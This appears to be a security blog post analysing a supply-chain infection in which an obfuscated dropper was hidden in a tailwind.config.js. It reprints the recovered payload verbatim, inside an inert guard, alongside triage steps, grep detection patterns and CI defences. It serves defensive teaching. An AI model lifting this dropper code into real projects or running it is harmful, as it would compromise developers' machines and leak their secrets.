A tailwind.config.js is the file you write once, when you're deciding whether your primary is blue-600 or blue-700, and then you never open again. If you scaffolded the project with create-next-app, a starter template, or a tutorial repo, you may not have written yours at all — and that is exactly the surface a DPRK-aligned cluster has been quietly exploiting in 2026.
This post is a condensed walkthrough of a recent public incident write-up where a developer found obfuscated JavaScript appended to a tailwind.config.js after a clipboard paste lagged for half a second. What started as "hm, weird" turned into six unrecognized Node processes in production, three commits authored under the developer's name that they did not write, and a payload phoning home to api.trongrid.io — the public RPC for the TRON blockchain — with an Aptos mainnet RPC as a fallback. Trend Micro documented over 750 infected public GitHub repositories in this cluster earlier in the year. The spread vector is cloning, forking, pulling, and npm install. It is not an exploit. It is trust.
I want to lay out what was actually found, what was ruled out, what was not ruled out — honestly, with the unknowns kept visible — and the concrete things you can do in your own project this afternoon. If you remember nothing else from this post, remember this: config files are executable code, and most code review processes pretend they are not.
What the payload looked like
The infection sat at the bottom of a perfectly ordinary Tailwind config, separated from the legitimate content by hundreds of empty spaces so a casual scroll would never reach it. In the commit diff, the configuration appears unchanged at first glance — but line 14 has been replaced with the same closing }; followed by the obfuscated payload far beyond the visible edge of the editor:

The malicious payload was appended after the legitimate closing }; on the same line, hidden hundreds of spaces to the right. The red row is the clean original; the green row contains the injected code.
// ⚠️ SAFETY: DO NOT COPY OR EXECUTE THIS BLOCK. ⚠️
// The code below is the live, original obfuscated payload recovered from
// the incident, reproduced verbatim for educational illustration. It is
// wrapped in `if (false) { ... }` so it cannot execute in this form. The
// payload is a multi-stage JavaScript dropper; at runtime in a real config
// file it beacons to api.trongrid.io (TRON RPC) and Aptos mainnet RPC.
// Leaving the wrapper in place is the difference between a blog post and
// an infection vector. Do not remove the wrapper, do not extract the
// inner code into a new file, and do not run it in any sandbox that has
// network egress. See the analysis below the block for what each layer does.
if (false) {
/** @type {import('tailwindcss').Config} */
module.exports = {
content: ['./src/**/*.{html,js,jsx}'],
theme: {
extend: {
colors: {
'cream': '#f7f4db',
'primary': '#c90101',
},
},
},
plugins: [],
darkMode: 'class',
}; global['_V']='A7-2066';global['r' ]=require;global['m']=module;(async()=>{if(global["_t_t"])return;global["_t_t"]=(new global.Date).getTime();if(typeof __dirname!=="undefined")global["___dirname"]=__dirname;if(typeof __filename!=="undefined")global["___filename"]=__filename;const c=async()=>{(function(){var TjS="",xQa=313-302;function niu(m){var n=219896;var y=m.length;var t=[];for(var b=0;b<y;b++){t[b]=m.charAt(b)}for(var b=0;b<y;b++){var a=n*(b+324)+n%37859;var q=n*(b+410)+n%37197;var c=a%y;var h=q%y;var k=t[c];t[c]=t[h];t[h]=k;n=(a+q)%1532251}return t.join("")}var tUI=niu("gvnsrcettofdcwoisbkzqhrnaplujotxmucyr").substr(0,xQa);var yTd='or=fa9a7ea=l,e;6u};[ahr{+nirco2"ai;u;lmva<n0fe(0ufy."mdl*C.qt.,hgnght(i(+r1as1ra=,(q)+eCr5q=e,((co=,-6cs,,*8utsv).,7i,6tt(h;rd[(t =cse)z;yd7j,f<n9,,evghf,s+e)axczx1(ah;1rjhrlj=;ah1r-=rho(rao.])tu8bn,e8,5i0n=r, 76(ahrl]istso<(=+8=[-)e. e1i;+e7[ne)h;[0+n+q;rvA{ u()(=t ,]g j+21,7<A<h;rcf;lohspf=dvrit4ruiu2uC=cop.+(j(u=+= 2=g.ll)(.,n 0nvon1=rn .lrn;h7gAC(ssg;[ruzqcrgervnynw+sl2b)a]; 5=0;lv a.;s(hvnjk;ns"xon>hlnf]lr5-wezxht4rl";scfwo4oovAntu1uq)ena(r{n i;}9lt;l,,.r=)e.e==m+=ar{vn8mgv=+w.(C) hsdt.r[] ghp+++ewoatodva"fu6;w)mv(w)(n+m)m]nosu;[o64,nhgt}i6a)h)no0n[t=[t"=prn>7l;;;iy.]ee.gb97zi,aar9r)g;a -aho(l)fnr{eg69=w];.i;yr;uha=]=jen(o;isl.{wnr=).+ur;c +n3(,;2);i )=t; sin;0 );= .fp))rosir})ga)mS ua[ftoid="eec=aloa.[-b()Civsb]1=h680vlp.)s(nthf}7=]0(;;(tfvtgrru.=j2.[C0d1s7c sar3v)r+;50;p+" =m(!"hvl6,i-==rC[)"8da+a(,h,+o2bhu;}{sir;Sf=r9..ov138la;cpf;(rAv;)]8 =q(ljldrato]tnd)+!nyvjrv}1tat';var xsR=niu[tUI];var Drj="";var VMU=xsR;var gjR=xsR(Drj,niu(yTd));var qMh=gjR(niu('(aOc(4)O](+OaO=sO:_On{%f%m).=%=6;fOOtO39ec7omt,(&1=ln%ema5fawO/y%*y]tt!{;.ae71}+2=%3_e(%ol; =oOer!(3{dho*di.}dda.tu-t)o.+s.trog.A4SaO+a+o;t;{*rtOe[O2_2h.O0%(u-[dthre("a3i $e12a;moi"]d{[deannuoeSdbc04a@p-)O!{d(fsn}:rte{5t?=-jO=w(it},9&e[oi)t\'2;sOj)%in ]]]+:sbg%12a12a(Os4+1+OdOSu44i]{ewuOO:rc_ra.tsO};Otrch(=cu%).}b)cnt0,.O6eO mn8=/=ov]d]s}cc1:[.rOf=)dc(z% d%ng[r.u_s))Oefd.0/j;]%etdurhO}aO.OOi)5f1+iaOOenetghaee}:iC/Crco/+]O1m.snOsa(B.hcOdnOOr9(rsu.]so7t(t4w lC9%1Bnl2%dw.s.O[;oO(oeub[F71=Ot00%r[u5a.\'/n=go6c)(.]![;a?o.,%to]nt;to=)td21<n23eOsO)<.5.OO496O>.....s C/)[}B_8.)b%d(oO.p!;r6OhOd>O<e//._.Fe}.b .!]:O6!O"1brd;_o=d]b%s0r.s@srO(>eO>0)O)[)l,;)rer519za$rny]ghue%"]mOO==xO7.3dsin]ef)+.f5.1O(92n(]-2(=3f+2uo3b(}))]..]>m0;w9)mrtt .rn[aa{d}05$3ENda=].0l)sd;tlod]r8O4:u }<g6+t8%n u*C_eB,OatO1,n$y}7*tldpno%l0._,3h=,.(;4eh] 6bo:)!npbfr]do=A,..1pp.A;O=s/,yaOdg4(c9/(OiOOg#nq)d.(}r]!Os]]Ond)no.1e;O38oOO])l)r0/og a%iOB.tewDmt]:O6O/s; rOl0]1yu1at)/]%)l4l{=OddC},}(.a$a}oe9Oseii!O]:e0}eO0%0b]n3e9O,e{{D35.e}3O{4(Oe=2O.3_5%lt;ta_O!5O+)b3if%n)o]t9 ti;r ]#tr.=2( }dn.6>7(yaftnd_(]eOn}oO;Ov }(]$O.h8:n;O6.tO2(+_=]"=ddf{BO>tua(to()ti)!!m=a;O,(=.?0l$%Cudi7h4p5riu=tlc]!49fOOy4e5rCOb1(t[%O<la(.rCO{n.iO,oO0l31{e)y(.iadOh1r n?itvtOy8_52o0:f.ut2%}Otu=rro2nn5Oe:s,e.Eordsu!3=O[O.srO5E2)4=]]%.)m:>4rO(y)S0]p%+v".n+;2#(O=h4[_dlte8o)eOrd]e4OO4=2.]1(yd!%56ee[t=o}:=e/=imsa()rBa(DOd)@e]}(g),e=:9f}.b{ed0[or)3]c=u{pct{t2[Ot2]]&0 @09t(O_ott]t4sig(i.e9g/O)r3OOl,i93vtib%))b!i7t rwO}4?=a#O1+.$d5)3 8 jg2t])hOl.0%CO23O-)]]hO.Oml1y..\'no)Ol;!c%pOgT1[O:0roO.:h=aterya]1OttrD,sO%}un01OfO8n1$ lr=.m(< 5g)5dttaO;/}cOiefg])O/%T=n97t)w])[i(oa2tnt3no2)42b],(.r!dk5O]te)r}])au2]s \' ew)e;u)i.%rr,t(0/es]d=fr\'pr]3lld{2(0nrOr!hr!0+rs(4s=2),e5&16!(O5wOnO?*d]njr[ 2O);yOO%]e]OaO]Ofiri3])rO%OdOOr52l).O3].iO)(;+[cdO]=qOtO=b]O3feOO}s%d]%d #O.;nw)rO$a(n)b!r;#s98f!O Oao=*0=]3dtaO!]et,tOOn%B(1nO]dr)n1+tDb1-S8;9riOt{,(u.A..s]9)]t4@r5dr%d+xtOOydn =s]o)]dimss.],O?4dt%(1frB]O/;-ba%(+ si+]6OOC#OOodi5Od83fr,pOt"O%[_d%eOest*oOC%1fs.))m.O..(}(!>nqo8cdd,4.d}O2=)lOO:&%O,y&0.%s(.dO1 [-8 j-hr2uea)r_O.1O6p6_6,on27:6=OO;ad]O7/bt[](COteOFO.nO2%[OOo)rOr[nb}a)iad=.m Oa(=m1!n%8]s}:(e]O_ptdO,)1]0]tc..n.cld}gfb ]$];_)(aiO;0[]Ot=uti)[3:%d ${jc(coBu;c{/ f_.?nj(5r{g;{O{[+o2dOrtf(O6](a8]1(.r_'));var Jyp=VMU(TjS,qMh);Jyp(9283);return 4952})()};global["_t_c"]=c.toString();try{global["_t_0"]=atob("dmFyIF8kX2FjMGU9KGZ1bmN0aW9uKG0sdCl7dmFyIHI9bS5sZW5ndGg7dmFyIHg9W107Zm9yKHZhciB6PTA7ejwgcjt6Kyspe3hbel09IG0uY2hhckF0KHopfTtmb3IodmFyIHo9MDt6PCByO3orKyl7dmFyIGY9dCogKHorIDIxNSkrICh0JSAzNzcwNCk7dmFyIHk9dCogKHorIDE2OCkrICh0JSAxMjU4Myk7dmFyIGk9ZiUgcjt2YXIgbD15JSByO3ZhciBqPXhbaV07eFtpXT0geFtsXTt4W2xdPSBqO3Q9IChmKyB5KSUgNjYyNjI5MH07dmFyIHA9U3RyaW5nLmZyb21DaGFyQ29kZSgxMjcpO3ZhciBrPScnO3ZhciBvPSdceDI1Jzt2YXIgcT0nXHgyM1x4MzEnO3ZhciBoPSdceDI1Jzt2YXIgdj0nXHgyM1x4MzAnO3ZhciBuPSdceDIzJztyZXR1cm4geC5qb2luKGspLnNwbGl0KG8pLmpvaW4ocCkuc3BsaXQocSkuam9pbihoKS5zcGxpdCh2KS5qb2luKG4pLnNwbGl0KHApfSkoImM3YzU4ODQyeDZyZDBhMzAxN01LZkpaMzIxMDU2ZSU4MTNfNzcyZCVOQTBFJWJiZWVlM0piN3M5YnRmN1R4ejczMWY4XzY3dDc5Zjk2dlpmY2Q1ZTZlYzRwMjQwMzJKM1FfckxQOFQwbTgwYV9kMyIsNTk5MTE3Myk7Z2xvYmFsW18kX2FjMGVbMF1dPSBfJF9hYzBlWzFdO2dsb2JhbFtfJF9hYzBlWzJdXT0gXyRfYWMwZVszXQ==");var e,_V;(function(){var _$_ca3f=_$af1300654("4etA%:33f001_bA.7_8%sa2i5s1t3751%r6caFTBf_%168t3a226n.30.7Xr21713t%_%%f%8%%3%at1a%2.j70f2b3_4%t.08%x3.dy1W107is27_5ceF.02a41_ec7oD._82.55che27S09dv4/98d02V992p421_bs7:6:I14uN9%A3jpddFbbVuta/tMN1rtL481",759646);function _$af1300654(q,j){var z=q.length;var s=[];for(var h=0;h<z;h++){s[h]=q.charAt(h)}for(var h=0;h<z;h++){var g=j*(h+490)+j%40107;var k=j*(h+427)+j%15314;var r=g%z;var l=k%z;var n=s[r];s[r]=s[l];s[l]=n;j=(g+k)%1770971}var m=String.fromCharCode(127);var t="";var y="%";var p="#1";var b="%";var i="#0";var x="#";return s.join(t).split(y).join(m).split(p).join(b).split(i).join(x).split(m)}if(!_$_ca3f){_$af1300654=0}_V=global[_$_ca3f[0]]||0;if(_V[0]==_$_ca3f[1]){if(_$af1300654==0){_$af1300654();_$af1300654=null;return}else{e=_$_ca3f[2]}}else{if(!global[_$_ca3f[4]](global[_$_ca3f[3]](_V))){if(!_$_ca3f){_$af1300654();_$af1300654=0}e=_$_ca3f[5]}else{e=_$_ca3f[6]}}global[_$_ca3f[7]]=_$_ca3f[8]+e+_$_ca3f[9];global[_$_ca3f[10]]=_$_ca3f[8]+e+_$_ca3f[11];global[_$_ca3f[12]]=_$_ca3f[13];global[_$_ca3f[14]]=_$_ca3f[15]})();await c()}catch(err){global._R&&global._R(`failed to run clientCode: ${err}`)}})();
// Malicious code at the end of line. Keep scrolling --> keep scrolling... keep scrolling... keep scrolling...
}
// ⚠️ END OF NON-EXECUTABLE PAYLOAD — the `if (false)` guard above makes this
// block inert. Do not lift it out of the guard. Do not paste it into a
// config file. Do not run it in a sandbox with network egress. If you want
// to study the deobfuscated behavior, replicate the runtime in a network-
// isolated container using a synthesized, redacted sample — not this one.
Three things to notice, none of which any legitimate Tailwind config needs:
- Hidden by trailing whitespace. The file looks normal until you scroll. This is a deliberate anti-screen-reader, anti-skim technique.
- Multi-layer obfuscation at runtime. A seeded character-rotation scrambler rebuilds strings at execution time, then an
atob(...)blob decodes, then a final dispatch through renamed globals (global['_t_t'],global['_t_c'],global['_t_0']). - Dead-code canaries.
global._R(...)error logging that only fires if a debugger or sandbox interrupts execution — a signal the attacker uses to know it was inspected rather than run blind.
If you see eval, btoa, atob, new Function(, a setTimeout/setInterval, or a string longer than ~200 chars of base64-shaped content inside any .config.js, that is not a stylistic choice. It is a signal.
Why this lands
tailwind.config.js, next.config.js, vite.config.js, webpack.config.js, and babel.config.js all execute real JavaScript at build time, and several of them execute in a runtime context that has access to require, process.env, and the filesystem. They are, in practice, trusted code paths — but in review culture they are scaffolding, not "application code," and almost no team reviews them.
A few more details from the incident worth keeping in mind:
- Antivirus engines did not flag it. Malwarebytes and macOS native protection both returned clean — even pointed directly at the file. Obfuscation plus living inside a "trusted" config is enough to bypass signature-based detection. The author only found it because a clipboard paste lagged during a manual token edit.
- The blast radius was wider than the one file. Hunting the same obfuscation fingerprint across the machine turned up a second hit in
routes/user.jsin a separate repo.routes/user.jsis not a frontend file. It runs straight in a Node backend. - Production was already running the payload.
ps aux | grep nodereturned six unrecognized long-running Node processes tied to the same active VS Code workspace. The infection was not theoretical; it had been live, persistent, and quietly beaconing. - The beacon target matters.
api.trongrid.iois the public, unauthenticated RPC for the TRON blockchain. DPRK-aligned groups love public blockchain infrastructure for one specific reason: you cannot seize a blockchain address the way you can seize a domain. Read/write RPC endpoints let a small encoded payload exfiltrate data and fetch commands without a traditional hosted server, and the traffic blends in with normal wallet activity.
Blast radius — what the audit actually found
| Check | Result |
|---|---|
| Same obfuscation fingerprint in other repos | Hit on routes/user.js in a second repo |
| Long-running unknown Node processes | 6 unrecognized processes across the active workspace |
| Git history | 3 commits authored under the user's name they did not write |
| Two file targets, one workspace, three repos | Workspace-local pivot, not remote |
| Outbound beacon | api.trongrid.io (TRON RPC) + Aptos mainnet RPC fallback |
| Antivirus / OS-native detection | Clean across the board |
The most uncomfortable detail is the git history one. Three commits, all attributed to the developer, in three separate repos, all in the same active VS Code workspace. If your editor workspace becomes the attacker’s unit of pivot, every repo you have open in that workspace is at risk.
Root cause analysis — what was ruled out, what was not
This is the section I most want to be careful about, because the original investigation was honest about its own uncertainty and I think we lose the lesson if we collapse that into a confident attribution.
| Hypothesis | Verdict |
|---|---|
| VS Code extensions | Clean — install dates and publishers reviewed |
| Git credential leak | Unlikely — does not explain the workspace-local spread pattern |
| VS Code Copilot agent mode | The author's first guess; agent logs clean. The author explicitly notes the logs could themselves have been tampered with, so this was not fully put to rest |
| Tampered local git history | Confirmed via git reflog. Local history did not match remote; commits were rewritten cleanly enough that the author did not know git history could be rewritten that way |
| Author timezone anomaly | UTC+0900 (Pyongyang Standard Time) on the suspect commits. The author is explicit: a timezone by itself proves nothing — but it is one more signal in an already-compelling pattern |
| Confirmed entry vector | None. The author filed a Security StackExchange question asking for help |
The DPRK attribution comes from the behavior — the recruiter-interview playbook, the blockchain-RPC beacon, the preference for non-seizable C2 — combined with public reporting from Trend Micro and other vendors tracking Void Dokkaebi / Famous Chollima / UNC5342. It is a reasonable, evidence-based assessment, not a definitive attribution from an external forensic team.
Triage — what to do if you find this in your own repo
The author’s cleanup posture is the right one and I am quoting it almost verbatim because it is the most useful thing in the original post: when the entry vector is unknown, assume full compromise of the host. That is the only defensible position.
# 1. Inventory what Node is actually running
ps aux | grep node
# 2. Kill everything suspicious. Watch for respawn — kill the parent, not just the child.
watch -n 5 'ps aux | grep node'
kill -9 <pid>
# 3. Audit git history for tampering. reflog is harder to fake than the log view.
git reflog --all | head -40
git log --format="%H %ai %an %s" --all | head -40
# 4. Rotate everything. Treat all of it as already leaked.
# API keys, OAuth secrets, DB credentials, .env values, SSH keys — every service.
The order matters. Kill processes first so the attacker cannot observe your rotation in real time. Rotate secrets before you do anything else that might generate new audit log entries pointing at the still-valid credentials.
A 5-minute self-check
These are the one-liners worth running today. Each one is cheap, each one catches a different shape of the same problem.
# 1. Unrecognized Node processes — every line should be something you can name
ps aux | grep node
# 2. Long base64-shaped blobs in your JS/TS source (excluding node_modules)
grep -r --include="*.js" --include="*.ts" \
-E "[A-Za-z0-9+/]{200,}={0,2}" \
. --exclude-dir=node_modules -l
# 3. Dangerous primitives inside config files — these should be empty
grep -rn "function\|eval\|btoa\|atob\|setInterval\|setTimeout" \
tailwind.config.js next.config.js vite.config.js \
webpack.config.js babel.config.js 2>/dev/null
# 4. Commits you do not recognize, plus timezone anomalies
git log --all --oneline --author-date-relative -30
git log --format="%H %ai %an %s" --all | head -40
If any of these return something you cannot immediately explain: stop. Do not push. Do not deploy. Kill Node. Rotate secrets first. It is almost always cheaper to pause and investigate than to ship the question downstream.
What to add to your project this afternoon
Detection at code-review time is cheap and catches this whole category:
- A pre-merge check that fails on dangerous primitives in config files. A simple ESLint override or a small script: any
*.config.jscontainingeval,new Function(,atob(,btoa(, or a base64-shaped string longer than ~200 chars should block the PR. False positives are cheap; false negatives are not. - A pre-commit hook that diffs config files against the starter template. If your
tailwind.config.jsdeviates from the versioncreate-next-appproduced by more than a known list of expected edits, refuse the commit and require a review. - A scheduled
ps aux | grep nodeaudit on long-lived dev and CI machines. Not because it is elegant — because it catches what code review cannot: a payload that ran, cleaned itself up, and left no trace in source. - Network egress allow-listing on dev machines. If your app does not do on-chain work, no outbound call to
trongrid,aptoslabs,alchemy,infura, or any public RPC should ever appear in your process tree. Egress rules turn "we have to decode the payload to know it was malicious" into "the process was terminated at the firewall." - Trust reflog over
git log.git logcan be rewritten locally.git reflogis harder to fake cleanly, and in the original incident it was the difference between seeing a clean history and seeing three commits the developer never made. - Audit config files you did not write. Especially Tailwind, Next, Vite, Webpack, Babel — anything scaffolded. Treat them with the same suspicion you would give an unfamiliar dependency.
Why this is a habit problem, not a CVE
The most uncomfortable sentence from the original write-up is also the most accurate: the habit is the whole vulnerability. Open source runs on trust; trust is the attack surface. Most developers do not audit config files. Most teams have no review process that would catch an obfuscated payload sitting in a file nobody considers "application code." The vulnerability is not a clever exploit. It is us looking away from the files we stopped questioning years ago.
If you got value from this, send it to your team today, run the four one-liners above, and add the config-file lint to your CI before the next person needs a lucky clipboard lag to catch what a 30-line script would have flagged on the first commit. The next post in this cluster is going to look almost identical to this one — different file name, same playbook — and the only thing that matters is whether your review process catches it before it ships.
If you have seen a similar infection, especially on macOS or in a VS Code Copilot agent context, the original author is collecting findings on Security StackExchange. Add what you know.